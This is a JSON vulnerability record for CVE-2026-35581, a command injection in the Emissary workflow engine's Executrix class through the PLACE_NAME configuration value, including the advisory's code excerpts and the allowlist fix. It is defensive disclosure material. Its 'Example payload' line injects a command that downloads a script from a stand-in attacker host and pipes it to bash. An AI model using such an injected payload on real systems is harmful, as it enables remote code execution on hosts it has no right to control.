{"id":"CVE-2026-35581","aliases":["CVE-2026-35581","GHSA-6c37-7w4p-jg9v"],"related":[],"kind":"vulnerability","state":"published","title":"Emissary has a Command Injection via PLACE_NAME Configuration in Executrix","summary":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe `Executrix` utility class constructed shell commands by concatenating\nconfiguration-derived values — including the `PLACE_NAME` parameter — with\ninsufficient sanitization. Only spaces were replaced with underscores, allowing\nshell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through\ninto `/bin/sh -c` command execution.\n\n## Details\n\n### Vulnerable code — `Executrix.java`\n\n**Insufficient sanitization (line 132):**\n```java\nthis.placeName = this.placeName.replace(' ', '_');\n// ONLY replaces spaces — shell metacharacters pass through\n```\n\n**Shell sink (line 1052–1058):**\n```java\nprotected String[] getTimedCommand(final String c) {\n    return new String[] {\"/bin/sh\", \"-c\", \"ulimit -c 0; cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\n### Data flow\n\n1. `PLACE_NAME` is read from a configuration file\n2. `Executrix` applies only a space-to-underscore replacement\n3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)\n4. `tmpNames[DIR]` is concatenated into a shell command string\n5. The command is executed via `/bin/sh -c`\n\n### Example payload\n\n```\nPLACE_NAME = \"test;curl attacker.com/shell.sh|bash;x\"\n```\n\nAfter the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`\n(semicolons, pipes, and other metacharacters preserved)\n\n### Impact\n\n- Arbitrary command execution on the Emissary host\n- Requires the ability to control configuration values (e.g., administrative\n  access or a compromised configuration source)\n\n## Remediation\n\nFixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),\nmerged into release 8.39.0.\n\nThe space-only replacement was replaced with an allowlist regex that strips all\ncharacters not matching `[a-zA-Z0-9_-]`:\n\n```java\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\nprotected static String cleanPlaceName(final String placeName) {\n    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\nThis ensures that any shell metacharacter in the `PLACE_NAME` configuration\nvalue is replaced with an underscore before it can reach a command string.\n\nTests were added to verify that parentheses, slashes, dots, hash, dollar signs,\nbackslashes, quotes, semicolons, carets, and at-signs are all sanitized.\n\n## Workarounds\n\nIf upgrading is not immediately possible, ensure that `PLACE_NAME` values in all\nconfiguration files contain only alphanumeric characters, underscores, and hyphens.\n\n## References\n\n- [PR #1290 — validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)\n- Original report: GHSA-wjqm-p579-x3ww","format":"markdown","source":"ghsa"},{"lang":"es","text":"Emissary es un motor de flujo de trabajo impulsado por datos basado en P2P. Antes de la versión 8.39.0, la clase de utilidad Executrix construía comandos de shell concatenando valores derivados de la configuración - incluyendo el parámetro PLACE_NAME - con sanitización insuficiente. Solo los espacios eran reemplazados por guiones bajos, permitiendo que los metacaracteres de shell (;, |, $, ”, (, ), etc.) pasaran a la ejecución de comandos de /bin/sh -c. Esta vulnerabilidad está corregida en la versión 8.39.0.","source":"nvd"}],"published":"2026-04-07T15:56:55.838Z","modified":"2026-11-04T22:15:03.692Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"version":"< 8.39.0","status":"affected"}],"vendor":"NationalSecurityAgency","product":"emissary","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"8.39.0"}],"ecosystem":"Maven","package":"gov.nsa.emissary:emissary","purl":"pkg:maven/gov.nsa.emissary/emissary","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"8.38.0"}],"vendor":"nsa","product":"emissary","cpe":"cpe:2.3:a:nsa:emissary:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35581","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/NationalSecurityAgency/emissary/pull/1290","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/NationalSecurityAgency/emissary","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/NationalSecurityAgency/emissary/releases/tag/8.39.0","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-04-08T14:57:38.566Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-35581","url":"https://www.cve.org/CVERecord?id=CVE-2026-35581","licence":"CVE Terms of Use","modified":"2026-04-08T14:57:47.316Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6c37-7w4p-jg9v","url":"https://github.com/advisories/GHSA-6c37-7w4p-jg9v","licence":"CC-BY-4.0","modified":"2026-11-04T22:15:03.692Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-35581","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35581","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"}],"updatedAt":"2026-11-25T22:59:18.129Z","epss":{"score":0.00507,"percentile":0.4483,"date":"2026-12-01T12:00:22.000Z"}}